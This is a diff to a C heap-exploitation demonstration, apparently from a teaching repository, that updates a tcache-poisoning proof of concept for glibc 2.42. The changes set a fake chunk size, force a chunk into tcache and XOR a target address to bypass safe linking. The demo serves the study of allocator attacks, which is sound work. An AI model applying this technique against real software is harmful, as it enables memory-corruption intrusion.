5454 */
5555int main () {
5656 size_t size_2 , * top_size_ptr , top_size , new_top_size , freed_top_size , vuln_tcache , target , * heap_ptr ;
57- char win [0x10 ] = "WIN\0WIN\0WIN\0\x06\xfe\x1b\xe2" ;
57+ long win [2 ] __attribute__ (( aligned ( 0x10 ))) ;
5858 // disable buffering
5959 setvbuf (stdout , NULL , _IONBF , 0 );
6060 setvbuf (stdin , NULL , _IONBF , 0 );
@@ -74,7 +74,10 @@ int main() {
7474 printf ("target tcache top size = 0x%lx\n" , CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1 );
7575
7676 // target is malloc aligned 0x10
77- target = ((size_t ) win + (MALLOC_ALIGN - 1 )) & MALLOC_MASK ;
77+ // since this patch in glibc-2.42: https://patchwork.sourceware.org/project/glibc/patch/20250206213709.2394624-2-benjamin.p.kallus.gr@dartmouth.edu/
78+ // the size of the target chunk must be set
79+ target = (size_t ) & win [0 ];
80+ win [1 ] = 0x41 ;
7881
7982 // probe the current size of the top_chunk,
8083 // can be skipped if it is already known or predictable
@@ -145,6 +148,10 @@ int main() {
145148 // free the previous top_chunk
146149 heap_ptr = malloc (SIZE_3 );
147150
151+ // in glibc-2.42, the freed chunk will be directly added into fastbin, which is not
152+ // as good as in tcachebin, let's force it to be in tcache by taking it out and free it
153+ free (malloc (SIZE_1 ));
154+
148155 // corrupt next ptr into pointing to target
149156 // use a heap leak to bypass safe linking (GLIBC >= 2.32)
150157 heap_ptr [(vuln_tcache - (size_t ) heap_ptr ) / SIZE_SZ ] = target ^ (vuln_tcache >> 12 );
0 commit comments